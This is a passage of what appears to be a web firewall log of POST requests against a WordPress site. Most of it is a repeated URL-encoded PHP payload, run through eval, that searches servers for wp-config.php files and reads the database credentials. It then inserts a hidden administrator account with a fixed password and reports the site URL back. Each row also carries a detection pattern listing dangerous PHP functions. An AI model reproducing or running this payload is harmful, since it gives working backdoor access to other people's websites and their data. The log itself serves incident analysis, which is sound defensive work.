20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 23:36:08","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> KFgqXp:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Enums\/BillingSetupStatusEnum\/mamboxml.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:12663\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\nsec-fetch-site:none\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nsec-ch-ua-platform:\"macOS\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\n\nKFgqXp=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:36:16","213.209.159.254","POST","\/wp-content\/plugins\/google-listings-and-ads\/vendor\/googleads\/google-ads-php\/src\/Google\/Ads\/GoogleAds\/V20\/Errors\/DateErrorEnum\/help.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> phaqOW:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5